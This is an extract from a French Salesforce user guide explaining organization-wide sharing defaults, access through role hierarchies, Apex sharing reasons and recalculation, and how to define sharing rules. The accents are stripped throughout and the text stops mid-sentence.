Il n'existe pas de valeur par dfaut l'chelle de l'entreprise pour le partage des prvisions personnalisables. Un
utilisateur peut seulement afficher les prvisions d'autres utilisateurs situs au-dessous de lui dans la hirarchie des
rles, sauf si le partage des prvisions a t activ. Reportez-vous Partage manuel d'une prvision la page 673.
Vous ne pouvez pas modifier les paramtres par dfaut de l'entreprise pour un objet si un script Apex examine les
entres de partage associes cet objet. Par exemple, si un script rcupre les utilisateurs et les groupes disposant
d'un accs de partage sur un compte (reprsent par l'objet AccountShare dans le code), vous ne pouvez pas
modifier les valeurs de partage par dfaut de l'entreprise pour les comptes. .

Voir aussi :
Gestion des paramtres de partage
Champs du modle de partage
Contrler l'accs par le biais des hirarchies

Champs du modle de partage

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir l'accs au partage par dfaut :

Grer les utilisateurs

Vous pouvez utiliser des valeurs par dfaut l'chelle de l'entreprise pour dfinir le niveau par dfaut d'accs aux enregistrements
pour les objets suivants.

Campagnes
Piste
Comptes, ainsi que les contrats et les actifs qui leur sont associs
Contacts
Opportunits
Requtes

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 166

Activits
Calendrier
Catalogues
Objets personnaliss

Vous pouvez attribuer les niveaux d'accs suivants des comptes, des campagnes, des requtes, des contacts, des contrats, des
pistes, des opportunits et des objets personnaliss.
Champ

Description

Contrl par parent

Un utilisateur peut effectuer une action sur un contact (par

exemple, le consulter, le modifier ou le supprimer) en fonction
de sa capacit effectuer la mme action sur l'enregistrement
associ.
Par exemple, si un contact est associ au compte Acme, un
utilisateur peut le modifier uniquement s'il peut galement
modifier le compte Acme.

Priv

Seul le responsable de l'enregistrement, ainsi que les utilisateurs

en amont dans la hirarchie, sont autoriss afficher et
modifier cet enregistrement, et crer des rapports associs.
Si, par exemple, Tom est responsable d'un compte, et s'il a t
affect aux ventes pour la rgion Ouest, Carole (vice-prsidente
des ventes pour la rgion Ouest) peut galement afficher ou
modifier les comptes de Tom, et crer les rapports
correspondants.

Accs public en lecture seule

Si tous les utilisateurs sont habilits afficher des

enregistrements et crer les rapports correspondants, ils ne
peuvent en revanche pas les modifier. Seul le responsable, ainsi
que les utilisateurs en amont dans la hirarchie, sont autoriss
modifier ces enregistrements.
Par exemple, Sarah, responsable d'ABC Corp. et affecte aux
ventes pour la rgion Ouest, est rattache hirarchiquement
Carole, vice-prsidente des ventes pour cette mme rgion.
Sarah et Carole possdent un accs complet en lecture/criture
au compte ABC Corp. Tom (un autre responsable affect aux
ventes sur la rgion Ouest) peut galement afficher les
enregistrements d'ABC Corp. et crer des rapports, mais pas
les modifier.

Accs public en lecture/criture

Tous les utilisateurs peuvent afficher et modifier des

enregistrements, et crer les rapports correspondants.
Si, par exemple, Tom est responsable du compte Trident Inc.,
tous les utilisateurs peuvent afficher et modifier des
enregistrements, et crer des rapports partir de ce compte.
Toutefois, seul Tom peut modifier les paramtres de partage
ou supprimer le compte Trident.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 167

Champ

Description

Accs public en lecture/criture/Transfert

Tous les utilisateurs peuvent afficher, modifier et transfrer

des enregistrements, et crer les rapports correspondants. Cette
option n'est disponible que pour les requtes ou les pistes.
Si, par exemple, Alice est responsable d'ACME, requte
numro 100, tous les utilisateurs peuvent afficher, modifier et
transfrer la responsabilit et crer des rapports partir de
cette requte. En revanche, seule Alice est habilite supprimer
ou modifier le partage sur la requte 100.

Accs public intgral

Tous les utilisateurs peuvent afficher, modifier, transfrer,

supprimer des enregistrements, et crer les rapports
correspondants. Disponible uniquement pour les campagnes.
Par exemple, si Jean est le responsable d'une campagne, tous
les autres utilisateurs peuvent afficher, modifier, transfrer ou
supprimer cette campagne.

Remarque: Afin d'utiliser les requtes le plus efficacement possible, dfinissez la valeur par dfaut pour les comptes,
contacts, contrats et actifs sur Accs public en lecture/criture pour toute l'entreprise.
Vous pouvez attribuer les niveaux d'accs suivants des calendriers personnels.
Champ

Description

Masquer les dtails

N'importe qui peut voir si l'utilisateur est disponible un

moment donn, mais aucune information sur la nature des
vnements de son calendrier n'est accessible.

Masquer les dtails et ajouter des vnements En plus du niveau de partage dfini par l'option Masquer les

dtails, les utilisateurs peuvent ajouter des vnements aux

calendriers d'autres personnes.
Afficher les dtails

Les utilisateurs ont accs aux informations dtailles des

vnements figurant dans les calendriers d'autres personnes.

Afficher les dtails et ajouter des

vnements

En plus du niveau de partage dfini par l'option Afficher les

dtails, les utilisateurs peuvent ajouter des vnements aux
calendriers d'autres personnes.

Accs intgral

Les utilisateurs sont autoriss visualiser des informations

dtailles sur les vnements, ajouter et modifier des
vnements dans les calendriers d'autres personnes.

Remarque: Indpendamment des valeurs par dfaut dfinies au niveau de l'entreprise pour les calendriers, un utilisateur
peut inviter tous les autres utilisateurs aux vnements de groupe.
Vous pouvez attribuer les niveaux d'accs suivants des catalogues de prix.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 168

Champ

Description

Utilisation

Tous les utilisateurs ont accs aux catalogues de prix et peuvent

les ajouter des opportunits. N'importe quel produit d'un
catalogue de prix prcis peut tre ajout une opportunit.

Affichage uniquement

Tous les utilisateurs sont autoriss afficher des catalogues de

prix et crer des rapports. Cependant, seuls les utilisateurs
dots de l'autorisation Modifier sur les opportunits ou ceux
qui ont t autoriss manuellement utiliser le catalogue
peuvent les ajouter des opportunits.

Aucun accs

Les utilisateurs ne peuvent ni afficher les catalogues de prix,

ni les ajouter aux opportunits. Ce niveau d'accs dfini par
dfaut l'chelle de l'organisation permet de limiter l'accs
des catalogues de prix prcis certains utilisateurs seulement.
Ensuite, partagez manuellement les catalogues de prix
appropris avec les utilisateurs voulus. Pour plus d'informations
sur le partage manuel d'un catalogue de prix, reportez-vous
Partage des catalogues de prix la page 1671.

Vous pouvez attribuer les niveaux d'accs suivants des activits.

Champ

Description

Priv

Seul le responsable de l'activit et les utilisateurs au-dessus de

lui dans la hirarchie des rles peuvent modifier et supprimer
l'activit. Les utilisateurs disposant d'un accs en lecture
l'enregistrement auquel l'activit est associe peuvent consulter
cette activit et en gnrer un rapport.

Contrl par parent

Un utilisateur peut effectuer une action sur une activit (par

exemple, la consulter, la modifier, la transfrer ou la supprimer)
en fonction de sa capacit effectuer la mme action sur les
enregistrements associs cette activit.
Par exemple, si une tche est associe au compte Acme et au
contact Jean Durant, l'utilisateur peut la modifier uniquement
s'il peut galement modifier le compte Acme et le contact Jean
Durant.

Voir aussi :
Gestion des paramtres de partage
Dfinition du modle de partage par dfaut l'chelle de votre entreprise

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 169

Considrations relatives au partage

Le modle de partage de votre entreprise donne aux utilisateurs l'accs des enregistrements dont ils ne sont pas responsables.
Le modle de partage est une relation complexe entre les hirarchies de rle, les profils d'utilisateur, les rgles de partage et
les exceptions dans certaines situations. Lisez les notes suivantes avant de dfinir votre modle de partage :
Exceptions au partage bas sur des hirarchies de rle
Les utilisateurs peuvent toujours afficher et modifier toutes les donnes que possdent ou partagent les utilisateurs qui leur
sont infrieurs dans la hirarchie de rles. Il existe cependant des exceptions :

Une option des paramtres par dfaut l'chelle de votre entreprise vous permet d'ignorer les hirarchies lors de la
dtermination de l'accs aux donnes. Pour plus d'informations sur ce paramtre, voir Contrler les accs par le biais des
hirarchies la page 172.
Les contacts qui ne sont lis aucun compte sont toujours privs. Seul le responsable du contact et les administrateurs
peuvent le consulter. Les rgles de partage de contacts ne s'appliquent pas aux contacts privs.
Les notes et pices jointes marques comme prives via la case Priv sont accessibles uniquement leur responsable et
aux administrateurs.
Les vnements marqus comme privs via la case Priv sont accessibles uniquement leur responsable. Les autres
utilisateurs ne peuvent pas afficher les dtails de l'vnement lorsqu'ils consultent le calendrier du responsable d'vnement.
Cependant, les utilisateurs autoriss afficher ou modifier toutes les donnes peuvent afficher les dtails de l'vnement
priv dans les rapports et les recherches, ou lors de la consultation des calendriers des autres utilisateurs.
Les responsables dans la hirarchie des rles ne peuvent pas consulter ou modifier les enregistrements de leurs subordonns
s'ils ne possdent pas les autorisations de lecture et de modification correspondant au type d'enregistrement. Les autorisations
de l'objet sont dfinies sur le profil d'un utilisateur.

Suppression d'enregistrements

La possibilit de supprimer des enregistrements individuels est contrle par les administrateurs, le propritaire de
l'enregistrement, les utilisateurs dont la hirarchie de rle est suprieure celle du propritaire de l'enregistrement et tout
utilisateur disposant d'un accs intgral .
Si le modle de partage est dfini sur Accs public en lecture/criture/transfert pour les requtes et les pistes ou sur Accs
public intgral pour les campagnes, chaque utilisateur peux supprimer ces types d'enregistrements.

Ajout d'lments associs un enregistrement

Vous devez disposer d'un accs en lecture/criture un enregistrement pour pouvoir y ajouter des notes ou des pices
jointes.
Vous devez disposer d'un accs en lecture au moins un enregistrement pour pouvoir y ajouter des activits ou des
enregistrements associs.

Ajout ou suppression manuels de l'accs au partage

La possibilit d'tendre manuellement l'accs au partage d'enregistrements individuels est contrle par les administrateurs,
le propritaire de l'enregistrement, les utilisateurs dont la hirarchie de rle est suprieure celle du propritaire de
l'enregistrement et tout utilisateur disposant d'un accs intgral . Reportez-vous Partage des comptes la page 1061,
Partage des campagnes la page 1197, Partage des contacts la page 1263, Partage des opportunits la page 1565, Partage des
requtes la page 1221 et Partage des pistes la page 1535.
Changer de modle de partage entrane la suppression de tout partage manuel cr par vos utilisateurs.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 170

Autorisations d'utilisateur et autorisations de niveau objet

Alors que votre modle de partage contrle la visibilit des enregistrements, les autorisations d'utilisateurs et les autorisations
de niveau objet contrlent ce que les utilisateurs peuvent faire avec ces enregistrements.

Indpendamment des paramtres de partage, les utilisateurs doivent disposer des autorisations de niveau objet appropries.
Par exemple, si vous partagez un compte, ces utilisateurs ne peuvent voir le compte que s'ils disposent d'un accs en lecture
aux comptes. De mme, les utilisateurs qui sont autoriss modifier les contacts peuvent ne pas tre en mesure de modifier
les contacts dont ils ne sont pas responsables s'ils utilisent un modle de partage priv.
Les administrateurs et les utilisateurs disposant de l'autorisation Afficher toutes les donnes ou Modifier toutes les
donnes peuvent afficher ou modifier toutes les donnes.

Partage de comptes

Pour restreindre l'accs des utilisateurs aux enregistrements dont ils ne sont pas propritaires et qui sont associs des
comptes dont ils sont propritaires, dfinissez le niveau d'accs appropri sur le rle. Par exemple, vous pouvez restreindre
l'accs d'un utilisateur aux opportunits dont il n'est pas propritaire, mais qui sont cependant associes des comptes dont
il est propritaire, l'aide de l'option Accs l'opportunit.

Partage Apex

Vous ne pouvez pas modifier les paramtres par dfaut de l'entreprise pour un objet si un script Apex examine les entres
de partage associes cet objet. Par exemple, si un script rcupre les utilisateurs et les groupes disposant d'un accs de
partage sur un compte (reprsent par l'objet AccountShare dans le code), vous ne pouvez pas modifier les valeurs de
partage par dfaut de l'entreprise pour les comptes. .

Partage de campagne

Dans Enterprise Edition, Unlimited Edition et Developer Edition, dsignez tous les utilisateurs comme utilisateurs
marketing lorsque vous activez le partage de campagne. Cela simplifie les tches administratives et la rsolution des problmes
puisque l'accs est contrlable via les fonctions de partage et les profils.
Remarque: Les clients Professional Edition ne peuvent pas grer les utilisateurs de cette manire car les profils
personnaliss ne sont pas activs dans cette dition.

Pour segmenter la visibilit entre des divisions oprationnelles tout en conservant le comportement existant au sein d'une
division :
1. Paramtrez, l'chelle de l'entreprise, la valeur par dfaut de la campagne sur Priv.
2. Crez une rgle de partage pour accorder aux utilisateurs marketing un Accs public intgral toutes les campagnes
dont sont propritaires des utilisateurs de leur division oprationnelle.
3. Crez une rgle de partage pour accorder tous les utilisateurs non-marketing d'une division oprationnelle un accs
en lecture seule toutes les campagnes dont sont propritaires des utilisateurs de leur division oprationnelle.

Lorsqu'un mme utilisateur, tel un responsable marketing local, est propritaire de plusieurs campagnes et a besoin de
segmenter la visibilit entre des divisions oprationnelles, partagez les campagnes une par une plutt que d'utiliser des
rgles de partage. Les rgles de partage s'appliquent toutes les campagnes dont est propritaire un utilisateur et ne
permettent pas de segmenter la visibilit.
Crez toutes les rgles de partage de campagne avant de changer la valeur par dfaut l'chelle de l'entreprise, afin de
rduire l'impact du changement sur vos utilisateurs.
Pour partager toutes les campagnes de votre entreprise avec un groupe d'utilisateurs ou un rle spcifique, crez une rgle
de partage qui s'applique aux campagnes dont sont propritaires des membres du groupe public Entreprise entire.
Limitez le nombre de rgles de partage que vous devez crer en utilisant l'option Rles et subordonns au lieu de choisir
un rle spcifique.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 171

Si les statistiques de hirarchie de campagnes sont ajoutes la prsentation de page, un utilisateur peut afficher les donnes
totalises pour une campagne parent et toutes les campagnes situes au-dessous dans la hirarchie, que cet utilisateur dispose
ou non de droits de partage sur une campagne spcifique au sein de cette hirarchie. Par consquent, tenez compte des
paramtres de partage de campagne de votre entreprise lorsque vous activez les statistiques des hirarchies de campagnes.
Si vous ne voulez pas que les utilisateurs voient les donnes synthtises de la hirarchie, supprimez de la liste associe
Hirarchie de campagne tout ou partie des champs statistiques de hirarchie de campagnes. Ces champs seront toujours
disponibles pour gnrer des rapports. Pour plus d'informations, reportez-vous Affichage des statistiques de hirarchie
de campagnes la page 1158.
Si le modle de partage est configur sur Accs public intgral pour des campagnes, tout utilisateur a la possibilit de
supprimer ces types d'enregistrement.

Partage de membres de campagne

Le partage de membre de campagne est contrl par les rgles de partage de campagne. Les utilisateurs peuvent afficher une
campagne ainsi que les membres de campagne associs.
Partage des contacts

Par dfaut, la valeur de partage des contacts l'chelle de l'entreprise n'est pas disponible pour les entreprises ayant activ
les comptes personnels.
Si, l'chelle de l'entreprise, la valeur par dfaut pour les contacts est paramtre sur Contrl par parent, les options
d'accs aux contacts ne sont pas disponibles lors du partage des rapports associs, tels que les comptes. Au contraire,
tous les accs aux contacts sont dtermins par l'accs de l'utilisateur au compte du contact.

Partage des catalogues

Le partage des catalogues de prix permet de dfinir si les utilisateurs peuvent ajouter le catalogue et ses produits aux
opportunits.
Les autorisations utilisateur associes aux profils permettent de dfinir si les utilisateurs peuvent afficher, crer, modifier
et supprimer des catalogues de prix.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 172

Contrler l'accs par le biais des hirarchies

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir l'accs au partage par dfaut :

Grer les utilisateurs

AND
Personnaliser l'application

Pour modifier l'option Octroyer l'accs par le biais Grer les utilisateurs
des hirarchies :
AND
Personnaliser l'application

Au-del de la dfinition des paramtres de partage par dfaut l'chelle de l'entreprise pour chaque objet, votre entreprise peut
spcifier si les utilisateurs auront accs aux donnes appartenant ou partages avec leurs subordonns dans la hirarchie. Par
exemple, les hirarchies telles que la hirarchie des rles ou des territoires octroie automatiquement l'accs aux enregistrements
aux utilisateurs suprieurs au propritaire de l'enregistrement dans la hirarchie. L'option Octroyer l'accs par le
biais des hirarchies dans les paramtres par dfaut l'chelle de l'entreprise, dtermine l'accs dont disposent les
utilisateurs aux enregistrements dont ils ne sont pas propritaires, y compris les enregistrements pour lesquels ils ne disposent
pas d'un accs partag, mais auxquels une personne infrieure eux dans la hirarchie peut accder. Par dfaut, l'option
Octroyer l'accs par le biais des hirarchies est active pour tous les objets et ne peut tre modifie que
pour les objets personnaliss.
Pour contrler l'accs partag par le biais des hirarchies pour un objet personnalis, cliquez sur Configuration Contrles
de scurit Paramtres de partage et Modifier dans la section Paramtres par dfaut l'chelle de l'entreprise. Dslectionnez
l'option Octroyer l'accs par le biais des hirarchies si vous souhaitez empcher les utilisateurs d'accder
automatiquement aux donnes appartenant ou partages par leurs subordonns dans les hirarchies.
Notes sur la mise en uvre

Quels que soient les paramtres de partage de votre entreprise, les utilisateurs peuvent accder aux enregistrements dont
ils ne sont pas propritaires par d'autres moyens tels que les autorisations utilisateur de type Afficher toutes les donnes,
des rgles de partage ou le partage manuel d'enregistrements individuels.
L'option Octroyer l'accs par le biais des hirarchies est toujours slectionne sur les objets standard
et n'est pas modifiable.
Si vous dsactivez l'option Octroyer l'accs par le biais des hirarchies, le partage avec un rle ou un
territoire et les subordonns est activ uniquement pour les utilisateurs directement associs au rle ou au territoire slectionn.
Les utilisateurs occupant des rles ou des territoires suprieurs dans les hirarchies ne disposeront pas de l'accs.
Si votre entreprise dsactive l'option Octroyer l'accs par le biais des hirarchies, les activits associes
un objet personnalis sont toujours visibles pour les utilisateurs suprieurs la personne affecte l'activit dans la
hirarchie des rles.
Si une relation principal-dtails est brise par la suppression de la relation, le paramtre par dfaut de l'ancien objet
personnalis dtail est automatiquement restaur la valeur Accs public en lecture/criture et Octroyer laccs
l'aide des hirarchies est slectionn par dfaut.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 173

L'option Octroyer l'accs par le biais des hirarchies dfinit les utilisateurs qui peuvent accder aux
donnes lorsqu'un lment est partag avec des groupes publics, des groupes personnels, des files d'attente, des rles ou
des territoires. Par exemple, l'option Afficher tous les utilisateurs affiche les membres du groupe et les personnes suprieures
ceux-ci dans les hirarchies lorsqu'un enregistrement est partag avec eux l'aide d'une rgle de partage ou d'un partage
manuel, et lorsque l'option Octroyer l'accs par le biais des hirarchies est slectionne. Lorsque l'option
Octroyer l'accs par le biais des hirarchies n'est pas slectionne, certains utilisateurs dans ces groupes
n'ont plus accs aux enregistrements. La liste suivante couvre les raisons d'accs qui dpendent de l'option Octroyer
l'accs par le biais des hirarchies.
Ces raisons octroient toujours l'accs :
Membre de groupe
Membre de file d'attente
Membre de rle
Membre de rle subordonn
Membre de territoire
Membre de territoire subordonn
Ces raisons n'offrent l'accs que lors de l'utilisation des hirarchies :
Responsable de membre de groupe
Responsable de membre de file d'attente
Responsable de rle
Responsable de territoire
Rle utilisateur Responsable de territoire

Les meilleures pratiques

Lorsque vous dslectionnez l'option Octroyer l'accs par le biais des hirarchies, informez les utilisateurs
des changements qu'ils peuvent rencontrer dans les rsultats des rapports en raison de la perte de visibilit des donnes de
leurs subordonns. Par exemple, la slection de Mon quipe... dans la liste droulante Afficher retourne les enregistrements
appartenant l'utilisateur ; elle ne retourne pas les enregistrements appartenant ses subordonns. Pour tre inclus dans
ce type de vue de rapport, les enregistrements des subordonns doivent tre partags explicitement avec cet utilisateur par
un autre moyen tel qu'une rgle de partage ou un partage manuel. Par consquent, si aucun enregistrement n'est partag
manuellement avec vous, les options Mon/Ma/Mes... et les options Mon quipe dans la liste droulante Afficher retournent
les mmes rsultats. Toutefois, choisir les Activits avec... tout type de rapport d'objet personnalis lors de la cration d'un
rapport personnalis retourne les activits qui vous ont t attribues ainsi que celles attribues vos subordonns dans la
hirarchie des rles.

Voir aussi :
Champs du modle de partage
Dfinition du modle de partage par dfaut l'chelle de votre entreprise

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 174

Cration de motifs de partage Apex

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer des motifs de partage Apex :

Auteur Apex

Pour consulter des motifs de partage Apex :

Afficher les paramtres et la configuration

Lors de la cration de partage gr Apex, crez des motifs de partage Apex pour des objets personnaliss afin d'indiquer le
motif de la mise en uvre du partage, simplifiez le codage requis pour la mise jour et supprimez les enregistrements partags
puis partagez plusieurs fois un enregistrement avec le mme utilisateur ou groupe en utilisant diffrents motifs de partage
Apex.
Remarque: Pour plus d'informations sur le partage Apex gr, reportez-vous au manuel Force.com Apex Code
Developer's Guide.
Salesforce.com affiche les motifs de partage Apex dans la colonne Motif lors de l'affichage d'un enregistrement d'objet
personnalis dans l'interface utilisateur. Cela permet des utilisateurs et des administrateurs de comprendre le motif du partage.
Lors de l'utilisation des motifs de partage Apex, notez les points suivants :

Les motifs de partage Apex ne sont disponibles que pour des objets personnaliss.
Seuls des utilisateurs disposant de l'autorisation de modifier toutes les donnes, peuvent ajouter, modifier ou supprimer un
partage qui utilise un motif de partage Apex.
La suppression d'un motif de partage Apex supprime tous les partages sur lobjet qui utilise le motif.
Vous pouvez crer jusqu' dix motifs de partage Apex par objet personnalis.

Pour crer un motif de partage Apex :

Cliquez sur Configuration Crer Objets.
Slectionnez l'objet personnalis.
Cliquez sur Nouveau dans la liste associe Motifs de partage Apex.
Saisissez une tiquette de motif de partage Apex. L'tiquette affiche la colonne Motif lors de l'affichage du partage pour
un enregistrement dans l'interface utilisateur. L'tiquette est aussi active pour la traduction via le systme de traduction.
5. Saisissez un nom de motif de partage Apex. Le nom est utilis lors du rfrencement du motif dans l'API Force.com et
Apex. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre
organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et
ne doit pas contenir deux traits de soulignement conscutifs.
1.
2.
3.
4.

Scurit et partage

Guide de l'utilisateur | Dfinition du modle de partage par dfaut l'chelle de votre entreprise | 175

6. Cliquez sur Enregistrer.

Voir aussi :
Recalcul du partage gr Apex
Prsentation du code Apex Force.com
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Octroi d'accs aux enregistrements

Recalcul du partage gr Apex

Disponible sur demande partir de salesforce.com.

Autorisations utilisateur requises

Pour associer une classe de recalcul de partage gr Apex :

Auteur Apex

Pour excuter un recalcul de partage gr Apex :

Auteur Apex OU Grer les utilisateurs

Important: Les recalculs de partage Apex sont disponibles uniquement sur demande. Lors de l'intgration d'objets
personnaliss dans un package, n'oubliez pas que les recalculs de partage Apex associs sont aussi inclus et peuvent
empcher l'installation du package. Pour plus d'informations, contactez salesforce.com.
Les dveloppeurs peuvent crire des classes Apex par lot qui recalculent lepartage Apex gr pour un objet personnalis
spcifique. Vous pouvez associer ces classes un objet personnalis sur sa page dtails et les excuter si un problme de
verrouillage empche un script Apex d'accorder l'accs un utilisateur comme dfini dans la logique de l'application. Les
nouveaux calculs de partage Apex sont aussi utiles pour rsoudre les problmes de visibilit dus des erreurs de codage. Par
exemple, si un dveloppeur corrige une erreur de codage qui empchait les utilisateurs d'accder des enregistrements qu'ils
devaient consulter, la correction ne concernera que des enregistrements crs aprs la mise jour du code. Afin de s'assurer
que la correction s'applique aussi des enregistrements existants, le dveloppeur peut excuter un nouveau calcul de partage
Apex afin de valider le partage de tous les enregistrements.
Vous pouvez excuter des recalculs de partage Apex partir de la page dtails d'un objet personnalis. Vous pouvez galement
les excuter via un programme l'aide de la mthode Database.executeBatch. De plus, Salesforce.com excute
automatiquement les classes de recalcul Apex dfinies pour un objet personnalis chaque fois qu'un niveau d'accs par dfaut
de partage l'chelle de l'entreprise d'un objet personnalis est mis jour.
Remarque:
Salesforce.com recalcule automatiquement le partage pour tous les enregistrements d'un objet lorsque son niveau d'accs
par dfaut de partage l'chelle de l'entreprise change. Le recalcul comprend l'accs accord par des rgles de partage.
En outre, tous les types de partage sont supprims si l'accs qu'elles accordent est redondant. Par exemple, le partage
manuel qui accorde un accs en lecture seule un utilisateur est supprim lorsque le modle de partage de l'objet est
modifi de Priv Accs public en lecture seule.
Pour plus d'informations sur la cration d'un partage gr Apex et de rgles de recalcul, reportez-vous au manuel Force.com
Apex Code Developer's Guide.

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 176

Pour associer une classe de recalcul de partage gr Apex un objet personnalis :

Cliquez sur Configuration Crer Objets.
Slectionnez l'objet personnalis.
Cliquez sur Nouveau dans la liste associe Recalculs de partage Apex.
Choisissez la classe Apex qui recalcule le partage Apex de cet objet. La classe que vous choisissez doit implmenter l'interface
Database.Batchable. Vous ne pouvez pas associer plusieurs fois la mme classe Apex avec le mme objet personnalis.
5. Cliquez sur Enregistrer.
1.
2.
3.
4.

Pour excuter un recalcul de partage Apex :

1. Cliquez sur Configuration Crer Objets.
2. Slectionnez l'objet personnalis.
3. Cliquez sur Recalcul de partage Apex.
Lors de l'utilisation des recalculs de partage Apex, notez les points suivants :

Le script Apex qui tend le recalcul de partage peut traiter un maximum de cinq millions d'enregistrements. Si le script
affecte plus de cinq millions d'enregistrements, la tche choue immdiatement.
Vous pouvez surveiller le statut des recalculs de partage Apex dans la file d'attente des tches Apex.
Vous pouvez associer un maximum de cinq recalculs de partage Apex par objet personnalis.
Vous ne pouvez pas associer des recalculs de partage Apex avec des objets standard.

Voir aussi :
Cration de motifs de partage Apex
Prsentation du code Apex Force.com
Dfinition du modle de partage par dfaut l'chelle de votre entreprise

propos des rgles de partage

Les rgles de partage de comptes et de contacts sont disponibles avec : Professional Edition, Enterprise Edition, Unlimited
Edition et Developer Edition
Les rgles de partage de territoires de compte, d'opportunits, de pistes et de requtes sont disponibles avec : Enterprise
Edition, Unlimited Edition et Developer Edition
Les rgles de partage de campagne sont disponibles dans Professional Edition moyennant un cot supplmentaire, et dans
Enterprise Edition, Unlimited Edition et Developer Edition.
Des rgles de partage d'objets personnaliss sont disponibles dans les ditions Enterprise, Unlimited et Developer.

Les rgles de partage vous permettent de crer des exceptions automatiques pour les valeurs par dfaut des ensembles dfinis
d'utilisateurs l'chelle de l'entreprise. Par exemple, les rgles de partage d'utilisation pour tendre l'accs de partage des
utilisateurs au sein de groupes publics, de rles ou de territoires. Le partage de rgles ne peut jamais tre plus strict que vos
paramtres par dfaut l'chelle de l'entreprise. Ils permettent simplement d'accorder un accs plus important pour des
utilisateurs particuliers.
Vous pouvez crer les types de rgles de partage suivants :

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 177

Rgles de partage de comptes : en fonction du responsable du compte, dfinissez l'accs au partage par dfaut des comptes
et des requtes, contrats, opportunits et, ventuellement, contacts associs.
Rgles de partage de territoires de compte : en fonction de l'attribution des territoires, dfinissez l'accs au partage par
dfaut des comptes et de leurs requtes, contacts, opportunits et contrats associs. Reportez-vous Prsentation de la
gestion des territoires la page 1952.
Rgles de partage de campagnes : en fonction du responsable de la campagne, dfinissez l'accs au partage par dfaut des
enregistrements de chaque campagne.
Rgles de partage de requtes : en fonction du responsable du compte, dfinissez l'accs au partage par dfaut des diffrentes
requtes et de leurs comptes associs.
Rgles de partage de contacts : en fonction du responsable du contact, dfinissez l'accs au partage par dfaut des diffrents
contacts et comptes associs.
Rgles de partage des objets personnaliss : en fonction du responsable de l'objet personnalis, dfinissez l'accs au partage
par dfaut des enregistrements de chaque objet personnalis.
Rgles de partage de pistes : en fonction du responsable de la piste, dfinissez l'accs au partage par dfaut de chaque piste.
Rgles de partage d'opportunits : en fonction du responsable de l'opportunit, dfinissez l'accs au partage par dfaut
des diffrentes opportunits et de leurs comptes associs.

Voir aussi :
Dfinition des rgles de partage

Dfinition des rgles de partage

Les rgles de partage de comptes et de contacts sont disponibles avec : Professional Edition, Enterprise Edition, Unlimited
Edition et Developer Edition
Les rgles de partage de territoires, de requtes, de pistes et d'opportunits sont disponibles avec : Enterprise Edition,
Unlimited Edition et Developer Edition
Les rgles de partage de campagne sont disponibles dans Professional Edition moyennant un cot supplmentaire, et dans
Enterprise Edition, Unlimited Edition et Developer Edition.
Des rgles de partage d'objets personnaliss sont disponibles dans les ditions Enterprise, Unlimited et Developer.

Autorisations utilisateur requises

Pour dfinir les rgles de partage :

Grer les utilisateurs

Les rgles de partage permettent d'autoriser des groupes d'utilisateurs dfinis accder aux enregistrements en fonction de la
proprit des enregistrements. Vous pouvez dfinir jusqu' 100 rgles de partage bases sur la proprit pour chaque objet.
Remarque: Vous ne pouvez inclure les utilisateurs du Portail client haut volume dans les rgles de partage, car ils
n'ont aucun rle.
Pour crer une rgle de partage :

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 178

1. Si vous prvoyez de partager des donnes avec des groupes publics, confirmez que les groupes publics en question ont t
crs. Pour crer des groupes, reportez-vous Gestion des groupes la page 135.
2. Cliquez sur Configuration Contrles de scurit Paramtres de partage.
3. Cliquez sur Nouveau dans la liste associe approprie dans Rgles de Partage. La page qui s'affiche contient les champs
de rgles de partage.
4. Slectionnez l'ensemble de donnes source partager :
a. Choisissez une catgorie d'ensembles de donnes. Les catgories de l'ensemble de donnes appropri s'affichent selon
le type de rgle de partage et les fonctions actives pour votre entreprise. Voici les catgories disponibles :
Catgorie

Description

Files d'attente

Tous les enregistrements appartenant la file d'attente,

l'exception des enregistrements appartenant aux membres
de cette file d'attente.

Groupes publics

Tous les groupes publics dfinis par votre administrateur.

Si un portail PRM ou un portail Client est activ pour
votre entreprise, le groupe Tous les utilisateurs partenaires
ou Tous les utilisateurs du portail Client apparat. Ces
groupes comprennent tous les utilisateurs autoriss
accder votre PRM ou au portail client, l'exception des
utilisateurs du portail client haut volume.

Rles

Tous les rles dfinis pour votre organisation. Tous les

utilisateurs du rle en question sont concerns.

Rles du portail

Tous les rles dfinis pour le portail PRM, le portail

partenaire ou le portail client Salesforce.com de votre
organisation. Sont inclus tous les utilisateurs dans le rle
de portail spcifi, l'exception des utilisateurs du portail
client haut volume qui n'ont aucun rle. Notez que le nom
d'un rle du portail inclut le nom du compte avec lequel il
est associ, l'exception des comptes personnels, qui
incluent l'Alias de l'utilisateur.

Rles et subordonns

Tous les rles dfinis pour votre entreprise. Sont inclus

tous les utilisateurs du rle spcifi plus tous les utilisateurs
des rles infrieurs, y compris les rles du portail PRM,
du portail partenaire et du portail client qui contiennent
les utilisateurs disposant du type de licence Responsable
du portail Client.
Notez que les rles du portail sont inclus dans cette
catgorie uniquement si un portail PRM, un portail
partenaire ou un portail client est activ pour votre
organisation.
La catgorie d'ensembles de donnes Rles et les
subordonns est disponible dans votre organisation
